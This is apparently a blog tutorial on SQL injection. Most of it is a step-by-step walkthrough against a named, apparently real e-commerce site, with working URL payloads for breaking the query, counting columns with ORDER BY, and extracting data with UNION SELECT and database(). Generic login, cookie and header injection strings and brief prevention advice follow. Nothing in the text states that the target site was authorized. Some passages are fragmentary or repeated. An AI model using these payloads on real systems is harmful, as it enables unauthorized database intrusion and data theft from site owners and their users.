SQL (Structured Query Language) is a standardized programming language specifically designed for managing and manipulating relational databases. It allows users to create, read, update, and delete data within a database. SQL is essential for interacting with and extracting valuable information from databases, which are widely used in various applications and systems.
SQL Injection is a type of security vulnerability that occurs in the database layer of an application. It happens when an attacker is able to insert or "inject" malicious SQL code into a query. This can compromise the security and integrity of the database and potentially the entire application. Here’s a simplified example to illustrate how SQL Injection works:
Using order by or group by
Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
There are several types of SQL injection attacks that hackers can use to exploit vulnerabilities in websites and applications:
This is the most common type of SQL injection attack, where the malicious SQL code is sent to the database and the results are displayed back to the attacker. In-band attacks can be further classified into
In this type of attack, the attacker cannot directly see the results of their actions, making it more challenging to exploit. Blind SQL injection attacks can be classified into:
In this type of attack, the attacker uses a separate channel to extract data from the database, such as sending emails or making HTTP requests to a remote server.
This Is A Website Perameater
Now we will check by using ' " / \ in the website parameters to see if any errors or changes occur on the website.
Carefully look at both images; changes have occurred on the website when using '
Now we will try to fix this error with the help of URL balancer using --+ --+- -- - --/* and many more.
https://itorchjo.com/shop.php?brandId=21 -- -After removing ' from the URL and adding -- - the error was fixed
Now we need to find out how many columns are in the website, so let's start finding them.
To find columns, we use `ORDER BY` and `GROUP BY
When we used `ORDER BY 4`, an error occurred on the website, which means there are not 4 columns. Now, we will keep reducing the number of columns until the error disappears.
Now, when we used `ORDER BY 3`, the website error was fixed. This means that the website has 3 columns.
https://itorchjo.com/shop.php?brandId=21 Order by 3 -- -
Since we have determined that the website has 3 columns, we now need to find out which of these columns is vulnerable. To find the vulnerable column, we use `UNION SELECT
https://itorchjo.com/shop.php?brandId=.21+UNION+SELECT+1,2,3-- -
Now that we have identified the vulnerable column, which is column 2, we can inject our malicious queries into this column.
https://itorchjo.com/shop.php?brandId=.21+UNION+SELECT+1,database(),3-- -
"dump in one shot" refers to extracting the entire database in a single attack. This happens when an attacker injects malicious SQL code into a vulnerable input, allowing them to access or dump all the database data.
http://example.com/page?id=1 directly includes the id parameter in an SQL query:
SELECT * FROM pages WHERE id = '1';
http://example.com/page?id=1' OR '1'='1
SELECT * FROM pages WHERE id = '1' OR '1'='1';
SELECT * FROM users WHERE username = 'user' AND password = 'pass';
username=admin'--&password=anything
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything';
SELECT * FROM users WHERE id = 'cookie_value';
cookie_value=1' OR '1'='1
SELECT * FROM users WHERE id = '1' OR '1'='1';
INSERT INTO logs (user_agent) VALUES ('header_value');
User-Agent: malicious' OR '1'='1
INSERT INTO logs (user_agent) VALUES ('malicious' OR '1'='1');
Use prepared statements and parameterized queries to ensure user input is treated as data, not executable code.Validate and sanitize all user inputs to ensure they conform to expected formats.Properly escape special characters in user inputs to prevent them from being interpreted as part of the SQL code.Use database accounts with the least privilege necessary for the task to minimize potential damage from an injection.Conduct regular security assessments, including penetration testing and code reviews, to identify and fix vulnerabilities.Conduct regular security assessments, including penetration testing and code reviews, to identify and fix vulnerabilities.
Hello friends, I'm Annex here! I'm Admin OF BlackEagle Security 💻
I'm a web developer and also an ethical hacker, pentester, bug hunter, and cyber security expert. 💻
I write code, break code, hunt for bugs, and secure systems. 🔒
Bringing together the worlds of programming and cyber security is my passion. 📠
If you ever need help with anything related to tech or security, I'm here to assist you! 🚡
Excited to connect with fellow tech enthusiasts and share knowledge! Let's dominate the digital world! 🚀